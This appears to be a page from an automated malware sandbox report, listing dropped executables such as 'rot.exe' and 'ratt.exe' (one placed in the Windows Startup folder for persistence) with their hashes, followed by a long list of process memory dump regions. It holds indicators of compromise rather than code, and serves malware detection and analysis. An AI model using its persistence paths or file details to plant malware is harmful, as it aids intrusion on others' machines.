05b77c86580e003b872346f6311a00a27660a19f41512fc7546e7aafc18b9f4da9b093022c9adeedbd699bd66941f62e309a8027e30b1ebcdc75690f42f80c4d

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
25.4MB

MD5
c8dd8a170f2cd73ea979a71381d3cf8a

SHA1
916638207b92e0c3727db8ad897054692bc320e3

SHA256
3bb51191496f21eee40745b3e6182cc196ca680ff9e91f1210e8fc32ed72278c

SHA512
6e4ca3a00dea1fcac8f240953f84da7aa19ecfa65be6574cca785c049e41b4574acc24e01ad3caa00b32bbbd5ba91bb91336dffa2e573c01ebb44daaf824b514

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
25.7MB

MD5
2518a5b6ca1b4271adb71cf0aefa5062

SHA1
7bc1afb2245df453d540dd4defd86445aec1aca6

SHA256
3dc1f6a2e598e924fd7cac5b411d8da8fa8221cb0de3fdb447ea58a44cf5fe27

SHA512
1232dc04af14f1f8497724cb56108b11b28858e246fc60b563d425c2403175205bd1a6f7285a15d398e4e79a103a5ec7c0ca8597c48e7bb455882bee5bfb8f20

Download Submit
\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe

Filesize
140.0MB

MD5
e88bc70aaaab65aa49526d08995aad4e

SHA1
3d5e901008d1f30711ad079fc558b29100890c96

SHA256
3b9f692488ae68d3365b35715e7c9721732af80988d9ed72a31c1e2d7660bb90

SHA512
2622bca5b46765503e10866984fff38fed9aa59926c03f871d48f82cf4f80a10604a7d468ae294e599605c7934191f8c153fbd45f7910e81c4d3ee584c63fdcd

Download Submit
\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
121.9MB

MD5
61e2e2b65b4832b3df0d1ea3a0f53e48

SHA1
6ea5138c6e5d2b7221e4c92f4671b15784afceb4

SHA256
1c0f370489a753b7dd60ddf9bbe9af95319b3838414d6cc0362c2cf5e0058ab1

SHA512
84dba827b1305e974352577bf25525af57614e6e1df8e954a9a5ed92b34d285afd4ceb4cb5b3fb572580526d7fa9bc95d24937413d1bafb854f502484c006003

Download Submit
\Users\Admin\Music\rot.exe

Filesize
25.6MB

MD5
0aadf38124cadf1cbb1dd196c920f4d9

SHA1
7adc51cd24f7965684ec74815380229d0e9cf8a9

SHA256
00fcf999c980b1bf4204c8e6920849a8674fad1dc9911a77f79749db5bd7677a

SHA512
35527791613b36c7d880a4b2f9ea2dcb1212d0fa96e366be77277127df110af4fecc395a06ca71c84c7ac58904c1488b258503c79b58821633ebb77b49328e98

Download Submit
memory/1044-103-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/1044-102-0x00000000026B0000-0x00000000026F0000-memory.dmp

Filesize
256KB

Download
memory/1044-104-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/1044-101-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/1084-182-0x0000000000820000-0x00000000009D6000-memory.dmp

Filesize
1.7MB

Download
memory/1084-185-0x0000000000570000-0x000000000058A000-memory.dmp

Filesize
104KB

Download
memory/1084-186-0x00000000007B0000-0x00000000007B6000-memory.dmp

Filesize
24KB

Download
memory/1084-184-0x0000000004B90000-0x0000000004BD0000-memory.dmp

Filesize
256KB

Download
memory/1084-197-0x0000000074BB0000-0x000000007529E000-memory.dmp

Filesize
6.9MB

Download
memory/1084-200-0x0000000074BB0000-0x000000007529E000-memory.dmp

Filesize
6.9MB

Download
memory/1084-183-0x0000000074BB0000-0x000000007529E000-memory.dmp

Filesize
6.9MB

Download
memory/1288-94-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/1288-95-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/1288-91-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/1288-92-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/1288-93-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/1808-112-0x0000000002540000-0x0000000002580000-memory.dmp

Filesize
256KB

Download
memory/1808-113-0x0000000002540000-0x0000000002580000-memory.dmp

Filesize
256KB

Download
memory/1808-111-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/1808-114-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/1808-115-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/1904-171-0x0000000070500000-0x0000000070BEE000-memory.dmp

Filesize
6.9MB

Download
memory/1904-165-0x0000000070500000-0x0000000070BEE000-memory.dmp

Filesize
6.9MB

Download
memory/1904-163-0x00000000010D0000-0x0000000001286000-memory.dmp

Filesize
1.7MB

Download
memory/1904-174-0x0000000070500000-0x0000000070BEE000-memory.dmp

Filesize
6.9MB

Download
memory/1904-168-0x0000000000530000-0x0000000000576000-memory.dmp

Filesize
280KB

Download
memory/1936-150-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/1936-164-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/1936-156-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/1936-157-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1936-158-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1936-159-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1936-152-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1936-153-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1936-151-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1936-155-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/2092-142-0x0000000000200000-0x0000000000232000-memory.dmp

Filesize
200KB

Download
memory/2092-141-0x0000000000200000-0x0000000000232000-memory.dmp

Filesize
200KB

Download
memory/2092-128-0x0000000000200000-0x0000000000232000-memory.dmp

Filesize
200KB

Download
memory/2092-130-0x0000000000200000-0x0000000000232000-memory.dmp

Filesize
200KB

Download
memory/2124-85-0x0000000074840000-0x0000000074DEB000-memory.dmp

Filesize
5.7MB

Download
memory/2124-81-0x0000000074840000-0x0000000074DEB000-memory.dmp

Filesize
5.7MB

Download
memory/2124-82-0x0000000002490000-0x00000000024D0000-memory.dmp

Filesize
256KB

Download
memory/2124-83-0x0000000002490000-0x00000000024D0000-memory.dmp

Filesize
256KB

Download
memory/2124-80-0x0000000074840000-0x0000000074DEB000-memory.dmp

Filesize
5.7MB

Download
memory/2124-84-0x0000000002490000-0x00000000024D0000-memory.dmp

Filesize
256KB

Download
memory/2280-173-0x0000000070500000-0x0000000070BEE000-memory.dmp

Filesize
6.9MB

Download
memory/2280-172-0x0000000070500000-0x0000000070BEE000-memory.dmp

Filesize
6.9MB

Download
memory/2280-170-0x0000000000250000-0x0000000000406000-memory.dmp

Filesize
1.7MB

Download
memory/2280-169-0x0000000070500000-0x0000000070BEE000-memory.dmp

Filesize
6.9MB

Download
memory/2664-132-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2664-135-0x0000000010000000-0x00000000100E2000-memory.dmp

Filesize
904KB

Download
memory/2664-139-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2700-189-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2700-203-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2700-207-0x00000000744C0000-0x0000000074BAE000-memory.dmp

Filesize
6.9MB

Download
memory/2700-187-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2700-201-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2700-191-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2700-195-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2700-193-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2700-205-0x0000000004B80000-0x0000000004BC0000-memory.dmp

Filesize
256KB

Download
memory/2700-198-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2700-204-0x00000000744C0000-0x0000000074BAE000-memory.dmp

Filesize
6.9MB

Download
memory/2896-121-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/2896-124-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/2896-123-0x00000000026C0000-0x0000000002700000-memory.dmp

Filesize
256KB

Download
memory/2896-125-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/2896-122-0x00000000026C0000-0x0000000002700000-memory.dmp

Filesize
256KB

Download